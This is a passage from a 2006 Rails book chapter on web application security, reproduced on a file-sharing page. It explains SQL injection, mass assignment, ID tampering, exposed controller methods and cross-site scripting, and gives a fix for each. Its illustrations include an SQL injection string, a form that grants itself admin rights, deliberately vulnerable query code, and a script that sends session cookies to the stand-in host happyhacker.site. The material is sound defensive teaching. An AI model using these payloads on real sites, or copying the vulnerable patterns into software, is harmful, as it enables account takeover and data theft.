Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Agile Web Development With Rails, 2nd Edition (2006).pdf
Скачиваний:
30
Добавлен:
17.08.2013
Размер:
6.23 Mб
Скачать

This chapter is an adaptation and extension of Andreas Schwarz’s online manual on Rails

security, available at http:// manuals.rubyonrails.com/ read/ book/ 8 .

Chapter 26

Securing Your Rails Application

Applications on the Web are under constant attack. Rails applications are not exempt from this onslaught.

Security is a big topic—the subject of whole books. We can’t do it justice in just one chapter. You’ll probably want to do some research before you put your applications on the scary, mean ’net. A good place to start reading about security is the Open Web Application Security Project (OWASP), on the Web at http://www.owasp.org/. It’s a group of volunteers who put together “free, professional-quality, open-source documentation, tools, and standards” related to security. Be sure to check out their top-10 list of security issues in web applications. If you follow a few basic guidelines, you can make your Rails application a lot more secure.

26.1SQL Injection

SQL injection is the number-one security problem in many web applications. So, what is SQL injection, and how does it work?

Let’s say a web application takes strings from unreliable sources (such as the data from web form fields) and uses these strings directly in SQL statements. If the application doesn’t correctly quote any SQL metacharacters (such as backslashes or single quotes), an attacker can take control of the SQL executed on your server, making it return sensitive data, create records with invalid data, or even execute arbitrary SQL statements.

Imagine a web mail system with a search capability. The user could enter a string on a form, and the application would list all the e-mails with that string as a subject. Inside our application’s model there might be a query that looks like the following.

Email.find(:all,

:conditions => "owner_id = 123 AND subject = '#{params[:subject]}'" )

SQL INJECTION 600

This is dangerous. Imagine a malicious user manually sending the string "’ OR 1 --’" as the subject parameter. After Rails substituted this into the SQL it generates for the find method, the resulting statement will look like this.1

select * from emails where owner_id = 123 AND subject = '' OR 1 --''

The OR 1 condition is always true. The two minus signs start an SQL comment; everything after them will be ignored. Our malicious user will get a list of all the e-mails in the database.2

Protecting against SQL Injection

If you use only the predefined Active Record functions (such as attributes, save, and find), and if you don’t add your own conditions, limits, and SQL when invoking these methods, Active Record takes care of quoting any dangerous characters in the data for you. For example, the following call is safe from SQL injection attacks.

order = Order.find(params[:id])

Even though the id value comes from the incoming request, the find method takes care of quoting metacharacters. The worst a malicious user could do is to raise a Not Found exception.

But if your calls do include conditions, limits, or SQL and if any of the data in these comes from an external source (even indirectly), you have to make sure that this external data does not contain any SQL metacharacters. Some potentially insecure queries include

Email.find(:all,

:conditions => "owner_id = 123 AND subject = '#{params[:subject]}'" )

Users.find(:all,

:conditions => "name like '%#{session[:user].name}%'" )

Orders.find(:all,

:conditions => "qty > 5",

:limit => #{params[:page_size]})

The correct way to defend against these SQL injection attacks is never to substitute anything into an SQL statement using the conventional Ruby #{...} mechanism. Instead, use the Rails bind variable facility. For example, you’d want to rewrite the web mail search query as follows.

subject = params[:subject] Email.find(:all,

:conditions => [ "owner_id = 123 AND subject = ?", subject ])

1.The actual attacks used depend on the database. These examples are based on MySQL.

2.Of course, the owner id would have been inserted dynamically in a real application; this was

omitted to keep the example simple.

Report erratum

CREATING RECORDS DIRECTLY FROM FORM PARAMETERS 601

If the argument to find is an array instead of a string, Active Record will insert the values of the second, third, and fourth (and so on) elements for each of the ? placeholders in the first element. It will add quotation marks if the elements are strings and quote all characters that have a special meaning for the database adapter used by the Email model.

Rather than using question marks and an array of values, you can also use named bind values and pass in a hash. We talk about both forms of placeholder starting on page 298.

Extracting Queries into Model Methods

If you need to execute a query with similar options in several places in your code, you should create a method in the model class that encapsulates that query. For example, a common query in your application might be

emails = Email.find(:all,

:conditions => ["owner_id = ? and read='NO'", owner.id])

It might be better to encapsulate this query instead in a class method in the Email model.

class Email < ActiveRecord::Base

def self.find_unread_for_owner(owner)

find(:all, :conditions => ["owner_id = ? and read='NO'", owner.id]) end

# ...

end

In the rest of your application, you can call this method whenever you need to find any unread e-mail.

emails = Email.find_unread_for_owner(owner)

If you code this way, you don’t have to worry about metacharacters—all the security concerns are encapsulated down at a lower level within the model. You should ensure that this kind of model method cannot break anything, even if it is called with untrusted arguments.

Also remember that Rails automatically generates finder methods for you for all attributes in a model, and these finders are secure from SQL injection attacks. If you wanted to search for e-mails with a given owner and subject, you could simply use the Rails autogenerated method.

list = Email.find_all_by_owner_id_and_subject(owner.id, subject)

26.2Creating Records Directly from Form Parameters

Let’s say you want to implement a user registration system. Your users table looks like this.

Report erratum

CREATING RECORDS DIRECTLY FROM FORM PARAMETERS 602

create_table :users do |t| (

 

t.column :name,

:string

 

t.column :password,

:string

 

t.column :role,

:string, :default

=> "user"

t.column :approved,

:integer, :default

=> 0

end

 

 

The role column contains one of admin, moderator, or user, and it defines this user’s privileges. The approved column is set to 1 once an administrator has approved this user’s access to the system.

The corresponding registration form’s HTML looks like this.

<form method="post" action="http://website.domain/user/register" > <input type="text" name="user[name]" />

<input type="text" name="user[password]" />

</form>

Within our application’s controller, the easiest way to create a user object from the form data is to pass the form parameters directly to the create method of the User model.

def register User.create(params[:user])

end

But what happens if someone decides to save the registration form to disk and play around by adding a few fields? Perhaps they manually submit a web page that looks like this.

<form method="post" action="http://website.domain/user/register" > <input type="text" name="user[name]" />

<input type="text" name="user[password]" />

<input type="text" name="user[role]"

value="admin" />

<input type="text" name="user[approved]" value="1" />

</form>

Although the code in our controller intended only to initialize the name and password fields for the new user, this attacker has also given himself administrator status and approved his own account.

Active Record provides two ways of securing sensitive attributes from being overwritten by malicious users who change the form. The first is to list the attributes to be protected as parameters to the attr_protected method. Any attribute flagged as protected will not be assigned using the bulk assignment of attributes by the create and new methods of the model.

We can use attr_protected to secure the User model.

class User < ActiveRecord::Base attr_protected :approved, :role

# ... rest of model ...

end

Report erratum

DONT TRUST ID PARAMETERS 603

This ensures that User.create(params[:user]) will not set the approved and role attributes from any corresponding values in params. If you wanted to set them in your controller, you’d need to do it manually. (This code assumes the model does the appropriate checks on the values of approved and role.)

user = User.new(params[:user]) user.approved = params[:user][:approved]

user.role

= params[:user][:role]

If you’re worried that you might forget to apply attr_protected to the correct attributes before exposing your model to the cruel world, you can specify the protection in reverse. The method attr_accessible allows you to list the attributes that may be assigned automatically—all other attributes will be protected. This is particularly useful if the structure of the underlying table is liable to change—any new columns you add will be protected by default.

Using attr_accessible, we can secure the User models like this.

class User < ActiveRecord::Base attr_accessible :name, :password

# ... rest of model end

26.3Don’t Trust ID Parameters

When we first discussed retrieving data, we introduced the basic find method, which retrieved a row based on its primary key value.

Given that a primary key uniquely identifies a row in a table, why would we want to apply additional search criteria when fetching rows using that key? It turns out to be a useful security device.

Perhaps our application lets customers see a list of their orders. If a customer clicks an order in the list, the application displays order details—the click calls the action order/show/nnn, where nnn is the order id.

An attacker might notice this URL and attempt to view the orders for other customers by manually entering different order ids. We can prevent this by using a constrained find in the action. In this example, we qualify the search with the additional criteria that the owner of the order must match the current user. An exception will be thrown if no order matches, which we handle by redisplaying the index page. This code assumes that a before filter has set up the current user’s information in the @user instance variable.

def show

@order = Order.find(params[:id], :conditions => [ "user_id = ?", @user.id]) rescue

redirect_to :action => "index" end

Report erratum

DONT EXPOSE CONTROLLER METHODS 604

Even better, consider using the new collection-based finder methods, which constrain their results to only those rows that are in the collection. For example, if we assume that the user model has_many :orders, then Rails would let us write the previous code as

def show

 

 

id

=

params[:id]

@order

=

@user.orders.find(id)

rescue

 

 

redirect_to :action => "index" end

This solution is not restricted to the find method. Actions that delete or destroy rows based on an id (or ids) returned from a form are equally dangerous. Get into the habit of constraining calls to delete and destroy using something like

def destroy

id

=

params[:id]

@order

=

@user.orders.find(id).destroy

rescue

redirect_to :action => "index" end

26.4Don’t Expose Controller Methods

An action is simply a public method in a controller. This means that if you’re not careful, you may expose as actions methods that were intended to be called only internally in your application. For example, a controller might contain the following code.

class OrderController < ApplicationController

# Invoked from a webform def accept_order

process_payment mark_as_paid

end

def process_payment

@order = Order.find(params[:id]) CardProcessor.charge_for(@order)

end

def mark_as_paid

@order = Order.find(params[:id]) @order.mark_as_paid

@order.save end

end

OK, so it’s not great code, but it illustrates a problem. Clearly, the accept_order method is intended to handle a POST request from a form. The developer

Report erratum

CROSS-SITE SCRIPTING (CSS/XSS) 605

decided to factor out its two responsibilities by wrapping them in two separate controller methods, process_payment and mark_as_paid.

Unfortunately, the developer left these two helper methods with public visibility. This means that anyone can enter the following in their browser.

http://unlucky.company/order/mark_as_paid/123

and order 123 will magically be marked as being paid, bypassing all creditcard processing. Every day is free giveaway day at Unlucky Company.

The basic rule is simple: the only public methods in a controller should be actions that can be invoked from a browser.

This rule also applies to methods you add to application.rb. This is the parent of all controller classes, and its public methods can also be called as actions.

26.5Cross-Site Scripting (CSS/XSS)

Many web applications use session cookies to track the requests of a user. The cookie is used to identify the request and connect it to the session data (session in Rails). Often this session data contains a reference to the user that is currently logged in.

Cross-site scripting is a technique for “stealing” the cookie from another visitor of the web site, and thus potentially stealing that person’s login.

The cookie protocol has a small amount of built-in security; browsers send cookies only to the domain where they were originally created. But this security can be bypassed. The easiest way to get access to someone else’s cookie is to place a specially crafted piece of JavaScript code on the web site; the script can read the cookie of a visitor and send it to the attacker (for example, by transmitting the data as a URL parameter to another web site).

A Typical Attack

Any site that displays data that came from outside the application is vulnerable to XSS attack unless the application takes care to filter that data. Sometimes the path taken by the attack is complex and subtle. For example, consider a shopping application that allows users to leave comments for the site administrators. A form on the site captures this comment text, and the text is stored in a database.

Some time later the site’s administrator views all these comments. Later that day, an attacker gains administrator access to the application and steals all the credit card numbers.

Report erratum

CROSS-SITE SCRIPTING (CSS/XSS) 606

How did this attack work? It started with the form that captured the user comment. The attacker constructed a short snippet of JavaScript and entered it as a comment.

<script>

document.location='http://happyhacker.site/capture/' + document.cookie

</script>

When executed, this script will contact the host at happyhacker.site, invoke the capture.cgi application there, and pass to it the cookie associated with the current host. Now, if this script is executed on a regular web page, there’s no security breach, because it captures only the cookie associated with the host that served that page, and the host had access to that cookie anyway.

But by planting the cookie in a comment form, the attacker has entered a time bomb into our system. When the store administrator asks the application to display the comments received from customers, the application might execute a Rails template that looks something like this.

<div class="comment" > <%= order.comment %>

</div>

The attacker’s JavaScript is inserted into the page viewed by the administrator. When this page is displayed, the browser executes the script and the document cookie is sent off to the attacker’s site. This time, however, the cookie that is sent is the one associated with our own application (because it was our application that sent the page to the browser). The attacker now has the information from the cookie and can use it to masquerade as the store administrator.

Protecting Your Application from XSS

Cross-site scripting attacks work when the attacker can insert their own JavaScript into pages that are displayed with an associated session cookie. Fortunately, these attacks are easy to prevent—never allow anything that comes in from the outside to be displayed directly on a page that you generate.3 Always convert HTML metacharacters (< and >) to the equivalent HTML entities (< and >) in every string that is rendered in the web site. This will ensure that, no matter what kind of text an attacker enters in a form or attaches to an URL, the browser will always render it as plain text and never interpret any HTML tags. This is a good idea anyway, because a user can easily mess up your layout by leaving tags open. Be careful if you use a markup language such as Textile or Markdown, because they allow the user to add HTML fragments to your pages.

3. This stuff that comes in from the outside can arrive in the data associated with a POST request (for example, from a form). But it can also arrive as parameters in a GET. For example, if you allow your users to pass you parameters that add text to the pages you display, they could add <script> tags to these.

Report erratum